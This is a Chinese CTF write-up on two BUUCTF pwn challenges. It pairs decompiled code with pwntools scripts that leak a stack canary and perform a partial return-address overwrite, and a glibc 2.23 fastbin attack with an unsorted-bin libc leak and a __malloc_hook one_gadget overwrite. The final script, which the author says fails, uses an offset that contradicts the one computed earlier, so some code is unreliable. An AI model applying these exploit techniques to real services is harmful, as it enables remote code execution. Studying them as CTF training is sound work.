buuctf:linkctf_2018.7_babypie、babyheap_0ctf_2017
本文最后更新于178 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com


1、linkctf_2018.7_babypie分析

有一个输入,64位开了NX,canary,pie,只能去看看代码了

这题有system和/bin/sh


接下来看看sub_960函数:

__int64 sub_960()
{
  __int64 result; // rax@1
  __int64 v1; // rcx@1
  __int64 buf; // [sp+0h] [bp-30h]@1
  __int64 v3; // [sp+8h] [bp-28h]@1
  __int64 v4; // [sp+10h] [bp-20h]@1
  __int64 v5; // [sp+18h] [bp-18h]@1
  __int64 v6; // [sp+28h] [bp-8h]@1

  v6 = *MK_FP(__FS__, 40LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  buf = 0LL;
  v3 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  puts("Input your Name:");
  read(0, &buf, 0x30uLL);
  printf("Hello %s:\n", &buf, buf, v3, v4, v5);//这里printf似乎有格式化字符串漏洞,我们试一试会回显什么东西
  read(0, &buf, 0x60uLL);//这里会造成栈溢出
  result = 0LL;
  v1 = *MK_FP(__FS__, 40LL) ^ v6;
  return result;
}


来调试一下,首先我们需要把canary搞定:

from pwn import *
context.log_level="debug"
#p=remote("node5.buuoj.cn",28242)
p=process("./babypie")
payload=b'aaaa'
p.recvuntil("Input your Name:")
p.sendline(payload)
gdb.attach(p)
p.interactive()


e8-c0=0x28,canary最后的00需要去掉所以再加0x1,接下来接收canary,注意在canary之前是Hello aaaaaaaa…

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("node5.buuoj.cn",28946)
#p=process("./babypie")
payload=b'a'*(0x28+1)
p.recvuntil("Input your Name:")
p.send(payload)
p.recvuntil("Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
canary=u64(p.recv(7).ljust(8,b'\x00'))
print(hex(canary))
#gdb.attach(p)
p.interactive()

接下来就是覆盖返回地址的问题了,小端序,而且ret和后门的地址就后两位不同,覆盖后两位就行,覆盖为\x42

2、linkctf_2018.7_babypie实操

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("node5.buuoj.cn",28946)
#p=process("./babypie")
payload=b'a'*(0x28+1)
p.sendafter(b'Input your Name:\n',payload)
p.recv(6 + 40)
canary = u64(p.recv(8)) & (0xffffffffffffff00)
print(hex(canary))
payload = b'a' * 40 + p64(canary) + p64(0) + b'\x3e'
#gdb.attach(sh)
p.send(payload)
p.interactive()

终于整出来了,废了

3、babyheap_0ctf_2017分析


看起来是一个典型的堆题,菜单也比较明确,读读代码,换了个新的ida要更清晰一些了


上面是菜单

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = sub_B70(a1, a2, a3);
  while ( 1 )
  {
    sub_CF4();
    switch ( sub_138C() )
    {
      case 1LL:
        sub_D48(v4);
        break;
      case 2LL:
        sub_E7F(v4);
        break;
      case 3LL:
        sub_F50(v4);
        break;
      case 4LL:
        sub_1051(v4);
        break;
      case 5LL:
        return 0LL;
      default:
        continue;
    }
  }
}


main的话就是一个菜单选择,我们从选1开始分析也就是Allocate

void __fastcall sub_D48(__int64 a1)
{
  int i; // [rsp+10h] [rbp-10h]
  int v2; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )//最多支持16个chunk
  {
    if ( !*(_DWORD *)(24LL * i + a1) )
    {
      printf("Size: ");
      v2 = sub_138C();
      if ( v2 > 0 )
      {
        //可以发现下面其实对空间有限制
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL);
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * i + a1) = 1;
        *(_QWORD *)(a1 + 24LL * i + 8) = v2;
        *(_QWORD *)(a1 + 24LL * i + 16) = v3;
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }
}


暂时还挺正常,接着看fill

__int64 __fastcall sub_E7F(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = sub_138C();
      v3 = result;
      //上面是搜索之前创建的chunk,下面就是真正写入的过程,如fill所言,没有溢出保护
      if ( (int)result > 0 )
      {
        printf("Content: ");
        return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
  }
  return result;
}


这里就应该有一个可利用的堆溢出漏洞,继续往下看free

__int64 __fastcall sub_F50(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (unsigned int)result <= 0xF )//越界检查
  {
    result = *(unsigned int *)(24LL * (int)result + a1);
    //下面开始free
    if ( (_DWORD)result == 1 )
    {
      *(_DWORD *)(24LL * v2 + a1) = 0;
      *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
      free(*(void **)(24LL * v2 + a1 + 16));
      result = 24LL * v2 + a1;
      *(_QWORD *)(result + 16) = 0LL;
    }
  }
  return result;
}


我看起来其实没什么问题,最后指针也置零了,但是kimi说没有检查是否已经被free,接下来看看dump

int __fastcall sub_1051(__int64 a1)
{
  int result; // eax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = *(_DWORD *)(24LL * result + a1);
    //下面就是实际的输出操作
    if ( result == 1 )
    {
      puts("Content: ");
      sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      return puts(byte_14F1);
    }
  }
  return result;
}

这里的话直接用的是以前chunk直接记录的size,如果我们篡改了以前的size,执行dump时就可以泄露数据,目前来看就是泄露libc,利用的就是之前的堆溢出漏洞。

记得上次用过ustored bin attack,但是这道题got表不可改,只能改hook。跟着做一下这是让kimi提炼的4步:

1.制造一个 unsorted-bin chunk大小落在 small/large 范围(0x90 ~ 0x3f0 最稳)。

2.后面再垫一个正在使用的 chunk,防止和 top 合并。

3.free 它 → 进入 unsorted bin,此时 fd/bk 都指向 main_arena+xx。用已有的堆溢出/ UAF 改掉它的 bk让它指向你想改的地址 – 0x10

4.触发一次 malloc(大小同前)glibc 把这条伪链拆下来,执行 bck->fd = …,目标地址就被写成 libc 地址。

chunk1、2需要放入Fast Bin

chunk4,最终需要放入unsorted bin,需要满足“释放(free)的chunk大小不属于fast bin,并且该chunk不和top chunk紧邻”

chunk0用来修改1.2,chunk3用来改chunk4

4、babyheap_0ctf_2017实操

一步一步调试,首先是让chunk1.2进入fastbin

from pwn import *
context.log_level="debug"
p=process("./babyheap_0ctf_2017")
#p=remote("node5.buuoj.cn",26865)

def allocate(size):
    p.sendlineafter(b"Command: ",str(1))
    p.sendlineafter(b"Size: ",str(size))

def fill(index,size,content):
    p.sendlineafter(b"Command: ",str(2))
    p.sendlineafter(b"Index: ",str(index))
    p.sendlineafter(b"Size: ",str(size))
    p.sendlineafter(b"Content: ",b'content')

def free(index):
    p.sendlineafter(b"Command: ",str(3))
    p.sendlineafter(b"Index: ",str(index))

def dump(index):
    p.sendlineafter(b"Command: ",str(4))
    p.sendlineafter(b"Index: ",str(index))

def exit():
    p.sendlineafter(b"Command: ",str(5))

def tiaoshi():
    gdb.attach(p)
    pause()

allocate(0x10)#chunk0
allocate(0x10)#1
allocate(0x10)#2
allocate(0x10)#3
allocate(0x80)#4

free(1)
free(2)

tiaoshi()
p.interactive()


这里他给我们创建的时0x20的堆,很清楚的看到

我们free了两个chunk

好了接下来就是堆溢出修改fd

修改2号chunk使它指向4,并修改4为0x21,这样4就看上去被free掉了

我的调试出来前面会有一个很大的chunk,有点懵逼,应该是链接器和依赖的问题,其实之前我也没用过glibc-all-in-one和patchelf,今天学着用了一下,果然是神器

首先这道题是再ubuntu16的环境下,用的是libc-2.23.so,我们看看文件的信息


所以我们需要更换原来文件的依赖,使用glibc-all-in-one下载对应版本

然后./download 相应文件

最后用patchelf更换就好:

ldd查看一下

然后就可以进行调试了:


非常的正确,没有莫名其妙多分配一个chunk

现在就是要把chunk2的内容改为chunk4的,写入的位置是0x60278c969010,覆盖的是0x60278c969050,别忘了用fill来写入
在内存中的十六进制数是按照小端序进行排列,我们要覆盖的fd部分在覆盖前内存中的样子是:

\x20\xc0……\x60\x00\x00


而我们想要链接到chunk4上,只需要修改最低有效位(0x20)成0x80,用p8(0x80)

from pwn import *
context.log_level="debug"
p=process("./babyheap_0ctf_2017")
#p=remote("node5.buuoj.cn",26865)

def allocate(size):
    p.sendlineafter(b"Command: ",str(1))
    p.sendlineafter(b"Size: ",str(size))

def fill(index,size,content):
    p.sendlineafter(b"Command: ",str(2))
    p.sendlineafter(b"Index: ",str(index))
    p.sendlineafter(b"Size: ",str(size))
    p.sendlineafter(b"Content: ",content)

def free(index):
    p.sendlineafter(b"Command: ",str(3))
    p.sendlineafter(b"Index: ",str(index))

def dump(index):
    p.sendlineafter(b"Command: ",str(4))
    p.sendlineafter(b"Index: ",str(index))

def exit():
    p.sendlineafter(b"Command: ",str(5))

def tiaoshi():
    gdb.attach(p)
    pause()

allocate(0x10)#chunk0
allocate(0x10)#1
allocate(0x10)#2
allocate(0x10)#3
allocate(0x80)#4

free(1)
free(2)
payload=p64(0)*3
payload+=p64(0x21)
payload+=p64(0)*3
payload+=p64(0x21)
payload+=p8(0x80)
fill(0,len(payload),payload)
tiaoshi()
p.interactive()


fd已经改变了,现在还需要主要一个知识点,chunk4是没有被free的,而且已经存在于bins中,如果此时再申请一个chunk,就可以实现双指针,但是有一点,fastbin的大小相同的,所以也要把chunk4改为0x21,也是利用溢出通过chunk3来修改

from pwn import *
context.log_level="debug"
p=process("./babyheap_0ctf_2017")
#p=remote("node5.buuoj.cn",26865)

def allocate(size):
    p.sendlineafter(b"Command: ",str(1))
    p.sendlineafter(b"Size: ",str(size))

def fill(index,size,content):
    p.sendlineafter(b"Command: ",str(2))
    p.sendlineafter(b"Index: ",str(index))
    p.sendlineafter(b"Size: ",str(size))
    p.sendlineafter(b"Content: ",content)

def free(index):
    p.sendlineafter(b"Command: ",str(3))
    p.sendlineafter(b"Index: ",str(index))

def dump(index):
    p.sendlineafter(b"Command: ",str(4))
    p.sendlineafter(b"Index: ",str(index))

def exit():
    p.sendlineafter(b"Command: ",str(5))

def tiaoshi():
    gdb.attach(p)
    pause()

allocate(0x10)#chunk0
allocate(0x10)#1
allocate(0x10)#2
allocate(0x10)#3
allocate(0x80)#4

free(1)
free(2)
payload=p64(0)*3
payload+=p64(0x21)
payload+=p64(0)*3
payload+=p64(0x21)
payload+=p8(0x80)
fill(0,len(payload),payload)
payload=p64(0)*3
payload+=p8(0x21)
fill(3,len(payload),payload)
allocate(0x10)
allocate(0x10)
tiaoshi()

p.interactive()

回归正题,我们用的是unstoredbin attack,我们现在要free chunk4成为unstored bin

要让其进入Unsorted Bin需要满足两个条件:

1.free的chunk大小不属于fast bin的范围

2.该chunk不和top chunk紧邻

第一个可以改回0x91,第二个可以申请一个chunk5解决

from pwn import *
context.log_level="debug"
p=process("./babyheap_0ctf_2017")
#p=remote("node5.buuoj.cn",26865)
libc=ELF("/home/faetong/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def allocate(size):
    p.sendlineafter(b"Command: ",str(1))
    p.sendlineafter(b"Size: ",str(size))

def fill(index,size,content):
    p.sendlineafter(b"Command: ",str(2))
    p.sendlineafter(b"Index: ",str(index))
    p.sendlineafter(b"Size: ",str(size))
    p.sendlineafter(b"Content: ",content)

def free(index):
    p.sendlineafter(b"Command: ",str(3))
    p.sendlineafter(b"Index: ",str(index))

def dump(index):
    p.sendlineafter(b"Command: ",str(4))
    p.sendlineafter(b"Index: ",str(index))

def exit():
    p.sendlineafter(b"Command: ",str(5))

def tiaoshi():
    gdb.attach(p)
    pause()

allocate(0x10)#chunk0
allocate(0x10)#1
allocate(0x10)#2
allocate(0x10)#3
allocate(0x80)#4

free(1)
free(2)
payload=p64(0)*3
payload+=p64(0x21)
payload+=p64(0)*3
payload+=p64(0x21)
payload+=p8(0x80)
fill(0,len(payload),payload)
payload=p64(0)*3
payload+=p8(0x21)
fill(3,len(payload),payload)
allocate(0x10)
allocate(0x10)

payload=p64(0)*3
payload+=p8(0x91)
fill(3,len(payload),payload)
allocate(0x80)
free(4)
tiaoshi()

p.interactive()


free前的准备:


free以后:


已经成功了,接下来就是libc基址的计算

这里有一个知识点:

计算libc基址:

● small bins, large bins, unsorted bin统一存放在malloc_state这个结构体中的一个数组中

● malloc_state属于main_arena,main_arena是一个全局变量,位于libc的数据段

因此,知道上fd指针/bk指针所指向的地址,那我们也就相当于知道了main_arena的基址(根据固定的偏移量),也就是知道了libc的基址(根据固定的偏移量)

fd与arena之间的偏移量:

动态调试中fd指向:0x7f35d67c4b78


但是现在就有一个很烦的问题,没有符号表,就看不到dbg计算的偏移,又去搜索

set debug-file-directory ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/.debug

但是最终还是调试不出来,救救孩子吧,好吧人机说fd在main_arena+88的位置,就相当于现在偏移是88,也就是0x58,接下来是main_arena与libc基址之间的偏移量计算。就跟着大佬做一下。

因为程序开了pie,所以我们需要在exp中接收一下当时的fd。

from pwn import *
context.log_level="debug"
p=process("./babyheap_0ctf_2017")
#p=remote("node5.buuoj.cn",26865)
libc=ELF("/home/faetong/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def allocate(size):
    p.sendlineafter(b"Command: ",str(1))
    p.sendlineafter(b"Size: ",str(size))

def fill(index,size,content):
    p.sendlineafter(b"Command: ",str(2))
    p.sendlineafter(b"Index: ",str(index))
    p.sendlineafter(b"Size: ",str(size))
    p.sendlineafter(b"Content: ",content)

def free(index):
    p.sendlineafter(b"Command: ",str(3))
    p.sendlineafter(b"Index: ",str(index))

def dump(index):
    p.sendlineafter(b"Command: ",str(4))
    p.sendlineafter(b"Index: ",str(index))

def exit():
    p.sendlineafter(b"Command: ",str(5))

def tiaoshi():
    gdb.attach(p)
    pause()

allocate(0x10)#chunk0
allocate(0x10)#1
allocate(0x10)#2
allocate(0x10)#3
allocate(0x80)#4

free(1)
free(2)
payload=p64(0)*3
payload+=p64(0x21)
payload+=p64(0)*3
payload+=p64(0x21)
payload+=p8(0x80)
fill(0,len(payload),payload)
payload=p64(0)*3
payload+=p8(0x21)
fill(3,len(payload),payload)
allocate(0x10)
allocate(0x10)

payload=p64(0)*3
payload+=p8(0x91)
fill(3,len(payload),payload)
allocate(0x80)
free(4)
tiaoshi()

p.interactive()

投降了,原因应该是我们手里的 libc.so 是 strip 过的发行版,符号表里没有 main_arena 这个字符串,所以 libc.sym[‘main_arena’] 报错。

行吧,按照libc-2.23.so主流的偏移来手动计算:

off_unstoredbin=0x58
#off_arena=libc.symbols['main_arena']
off_arena=0x3c4b20 
dump(2)
p.recvline(2)
leak=u64(p.recv(8))
print(hex(leak))
libc_base=leak-off_unstoredbin-off_arena
print(hex(libc_base))

ok啊孩子们,继续做吧,折腾了好久了

接下来就是目标:修改__malloc_hook为one_gadget的地址,利用House Of Spirit

简单的看看这个手段原理:

House of Spirit 是一种「伪造任意地址堆块 → 把它 free 进 fastbin/tcache → 再 malloc 拿回」的组合型堆利用技巧,核心目的是:

让 malloc() 把 chunk 分配到攻击者已控的任意内存(栈/BSS/堆全局区…),从而对该区域实现任意写。

一、前置条件(必须同时满足)

1.能溢出/篡改一个指针,使其指向攻击者可控区域(栈数组、全局数组、bss 等)。

2.在该区域能手工拼出合法的 chunk 头(size、next-chunk 头)。

3.存在 free(任意指针) 的路径,且大小落在 fastbin(0x20-0x80)或 tcache 范围。

4.后续还能 再次 malloc(同大小),把伪造块取回。


也就是我们还需要在fastbin中放入chunk,我们需要在__malloc_hook附近创建chunk,最后要实现任意地址写入,其实这里不太清楚,因为我们要在它的附近伪造一个chunk头,用来控制我们创建chunk的大小

glibc-all-in-one实在下载不了直接去

https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc

下载libc6-dbg_*.deb系列把,不然调试确实坐牢

调试一下或许更清晰,但是我的程序的ld-2.23.so挂载不上去了,所以这里没办法做了,继续吧,

from pwn import *
context.log_level="debug"
p=process("./babyheap_0ctf_2017")
#p=remote("node5.buuoj.cn",28996)
elf=ELF("./babyheap_0ctf_2017")
libc=ELF("./libc-2.23.so")

def allocate(size):
    p.sendlineafter(b"Command: ",str(1))
    p.sendlineafter(b"Size: ",str(size))

def fill(index,size,content):
    p.sendlineafter(b"Command: ",str(2))
    p.sendlineafter(b"Index: ",str(index))
    p.sendlineafter(b"Size: ",str(size))
    p.sendlineafter(b"Content: ",content)

def free(index):
    p.sendlineafter(b"Command: ",str(3))
    p.sendlineafter(b"Index: ",str(index))

def dump(index):
    p.sendlineafter(b"Command: ",str(4))
    p.sendlineafter(b"Index: ",str(index))

def exit():
    p.sendlineafter(b"Command: ",str(5))

def tiaoshi():
    gdb.attach(p)
    pause()

allocate(0x10)#chunk0
allocate(0x10)#1
allocate(0x10)#2
allocate(0x10)#3
allocate(0x80)#4

free(1)
free(2)
payload=p64(0)*3
payload+=p64(0x21)
payload+=p64(0)*3
payload+=p64(0x21)
payload+=p8(0x80)
fill(0,len(payload),payload)
payload=p64(0)*3
payload+=p8(0x21)
fill(3,len(payload),payload)
allocate(0x10)
allocate(0x10)

payload=p64(0)*3
payload+=p8(0x91)
fill(3,len(payload),payload)
allocate(0x80)
free(4)
tiaoshi()
p.interactive()


用这个然后:

x/30gx &__malloc_hook-20

这里给一下这位师傅的博客

https://www.cnblogs.com/youdiscovered1t/p/19109746

https://blog.csdn.net/qq_41696518/article/details/126677556

接下来伪造chunk的大小为0x70,当然博客中的精准定位是0x7a(0x70也可以)

然后我们调试找到这个chunk的地址:0x7a01d664eaed,计算与0x7a01d628a000之间的偏移为0x3c4aed

找one_gadget


我写的这个打不通

from pwn import *
context.log_level="debug"
#p=process("./babyheap_0ctf_2017")
p=remote("node5.buuoj.cn",28820)
libc=ELF("/home/faetong/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def allocate(size):
    p.sendlineafter(b"Command: ",str(1))
    p.sendlineafter(b"Size: ",str(size))

def fill(index,size,content):
	p.recvuntil("Command: ")
	p.sendline(str(2))
	p.recvuntil("Index: ")
	p.sendline(str(index))
	p.recvuntil("Size: ")
	p.sendline(str(size))
	p.recvuntil("Content: ")
	p.sendline(content)


def free(index):
    p.sendlineafter(b"Command: ",str(3))
    p.sendlineafter(b"Index: ",str(index))

def dump(index):
    p.sendlineafter(b"Command: ",str(4))
    p.sendlineafter(b"Index: ",str(index))

def exit():
    p.sendlineafter(b"Command: ",str(5))

def tiaoshi():
    gdb.attach(p)
    pause()

allocate(0x10)#chunk0
allocate(0x10)#1
allocate(0x10)#2
allocate(0x10)#3
allocate(0x80)#4

free(1)
free(2)
payload=p64(0)*3
payload+=p64(0x21)
payload+=p64(0)*3
payload+=p64(0x21)
payload+=p8(0x80)
fill(0,len(payload),payload)
payload=p64(0)*3
payload+=p8(0x21)
fill(3,len(payload),payload)
allocate(0x10)
allocate(0x10)

payload=p64(0)*3
payload+=p8(0x91)
fill(3,len(payload),payload)
allocate(0x80)
free(4)
dump(2)
#tiaoshi()

off_unstoredbin=0x58
#off_arena=libc.symbols['main_arena']
off_arena=0x3c4b20 
p.recvline(2)
leak=u64(p.recv(8))
print(hex(leak))
libc_base=leak-off_unstoredbin-off_arena
print(hex(libc_base))

allocate(0x60)
free(4)#fastbin
#fd
payload=p64(libc_base+0x3a4ead)
fill(2,len(payload),payload)

#fake chunk
allocate(0x60)
allocate(0x60)

payload=p8(0)*3
payload+=p64(0)*2
payload+=p64(libc_base+0x4526a)#one_gadget
fill(6,len(payload),payload)

allocate(225)
p.interactive()


做了好久,终于拿到flag了,TAT…

TAT...
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇